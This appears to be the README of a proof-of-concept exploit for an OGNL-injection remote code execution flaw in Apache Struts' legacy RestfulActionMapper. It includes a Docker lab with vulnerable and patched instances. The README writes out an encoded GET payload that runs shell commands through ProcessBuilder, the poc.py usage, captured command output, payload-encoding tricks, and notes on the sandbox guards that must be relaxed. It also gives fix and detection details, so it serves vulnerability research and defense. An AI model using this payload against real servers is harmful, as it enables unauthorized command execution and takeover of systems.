
POC exploit for CVE-2026-104711 - OGNL injection RCE in Apache Struts legacy REST action mapper (S2-075). Vulnerable vs fixed verification included.
Improper neutralization of an OGNL expression in the legacy RESTful action
mapper (S2-075, CWE-917). When an application configures
org.apache.struts2.dispatcher.mapper.RestfulActionMapper, the action name is
taken verbatim from the first URI path segment. Unlike DefaultActionMapper,
the legacy mapper never applied the allowed action-name pattern, so a request
whose first path segment contains an OGNL expression passes it unchanged into
downstream consumers that evaluate OGNL, leading to remote code execution.
Fixed in Struts 6.12.0 and 7.4.0 (the mapper now routes non-conforming names to
a configurable default action name, exactly like DefaultActionMapper has done
since the S2-057/S2-061 hardening). NVD scores 9.8 (AC:L); the vendor scores
8.1 because the legacy mapper must be explicitly configured (AC:H).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD); vendor-scored 8.1restful2 mapper, Struts REST plugin; Struts 7 default config (OGNL allowlist enabled)Build and start both lab instances (vulnerable 6.11.0 and patched 6.12.0 control, identical application config):
docker compose build
docker compose up -d
http://127.0.0.1:8081 - vulnerable target (Struts 6.11.0)http://127.0.0.1:8082 - patched control (Struts 6.12.0)--mode selects the demonstration:
python3 poc.py --url http://127.0.0.1:8081 --mode eval
# one GET, OGNL expression in the first path segment; the evaluated string
# replaces the raw expression in the response header
python3 poc.py --url http://127.0.0.1:8081 --mode exec --command "id"
# command execution via java.lang.ProcessBuilder, output reflected in the
# same response header
--url is the lab base URL. --command is the command for exec mode (no
/ allowed; see Notes). Run the same commands against port 8082 for the
control.
Vulnerable target (Struts 6.11.0):
$ python3 poc.py --url http://127.0.0.1:8081 --mode exec --command "id; hostname; uname -s"
[*] exec: command 'id; hostname; uname -s' via sh -c, output reflected in X_Matched_Action
GET /%25%7Bnew%20java.util.Scanner%28new%20java.lang.ProcessBuilder%28%27shX-cXid%3B%20hostname%3B%20uname%20-s%27.split%28%27X%27%29%29.start%28%29.getInputStream%28%29%29.nextLine%28%29%7D/x
HTTP/1.1 200
X_Matched_Action: uid=1000(labuser) gid=1000(labuser) groups=1000(labuser),19(log),90(network),96(scanner),98(power),954(docker),982(users),983(video),985(storage),988(optical),989(lp),992(input),995(audio),998(wheel),1001(uinput)
Patched control (Struts 6.12.0), same requests:
$ python3 poc.py --url http://127.0.0.1:8082 --mode eval
X_Matched_Action: index
$ python3 poc.py --url http://127.0.0.1:8082 --mode exec --command "id; hostname; uname -s"
X_Matched_Action: index
Full raw captures live in evidence/ (vulnerable trigger, control run, and a
scoping note on Struts' default guard layers).
The 6.12.0 fix tells the story by itself. In 6.11.0 the mapper hands the raw URI segment to the action proxy:
// 6.11.0 - RestfulActionMapper.getMapping()
String actionName = uri.substring(1, nextSlash);
In 6.12.0 the segment is gated exactly like DefaultActionMapper:
// 6.12.0 - RestfulActionMapper.getMapping()
String actionName = cleanupActionName(uri.substring(1, nextSlash));
// cleanupActionName(): pattern [a-zA-Z0-9._!/\-]*, else defaultActionName ("index")
The lab app pairs the mapper with a wildcard action whose httpheader result
embeds the wildcard-matched name in a header value:
<action name="*" class="com.opensymphony.xwork2.ActionSupport">
<result type="httpheader">
<param name="status">200</param>
<param name="headers.X_Matched_Action">{1}</param>
</result>
</action>
HttpHeaderResult evaluates its header values as OGNL against the value stack
by default (parse=true, TextParseUtil.translateVariables(value, stack)),
and the wildcard {1} substitution injects the raw action name into the
evaluated string. On 6.11.0 the expression in the first path segment therefore
reaches OgnlValueStack.findValue() untouched in a single request; on 6.12.0
the mapper replaced it with index before any evaluation happens, so the
control responds with X_Matched_Action: index for the very same requests.
Path-encoding details that matter for the payload: the expression travels
percent-encoded in the first path segment (%25 for the leading %, so
Tomcat decodes the servlet path back to the exact OGNL text), the segment
cannot contain / (a raw slash would end the action-name segment and Tomcat
rejects %2F), and command arguments are passed to ProcessBuilder as a
split('X') array (OGNL 3.3.5 does not match varargs constructors/methods
with multi-argument call syntax in this evaluation path).
evidence/default-guards-scoping.txt for captured logs):
achieving the ProcessBuilder RCE payoff requires relaxing two
defense-in-depth layers that are independent of this CVE:
(1) struts.excludedClasses / struts.excludedPackageNames (the Struts OGNL
sandbox defaults exclude Runtime, ProcessBuilder, java.io, ognl,
freemarker, ...), and (2) OGNL's own strict invocation mode
(-Dognl.UseStricterInvocation, default true, hard-blocks
ProcessBuilder/Runtime/ClassLoader methods inside invokeMethod()).
The lab sets both to demonstrably harmless values and documents them in
app/src/main/resources/struts.xml and the Dockerfile. The eval-mode
injection works with fully default guards; the 6.12.0 control closes the
injection itself, so the outcome is identical regardless of these settings.restful2 mapper, or the Struts REST plugin. Both legacy RESTful mappers are
deprecated since 6.12.0/7.4.0 and are scheduled for removal.httpheader, redirect, Freemarker/Velocity results)
with %{/${ in request paths is a high-signal pattern; 6.12.0+ logs
"<name> did not match allowed action names ... - default action index will be used!" at WARN when the new gate rejects a segment.docker-compose.yml/Dockerfile
reproduce the identical targets on a normal Docker host.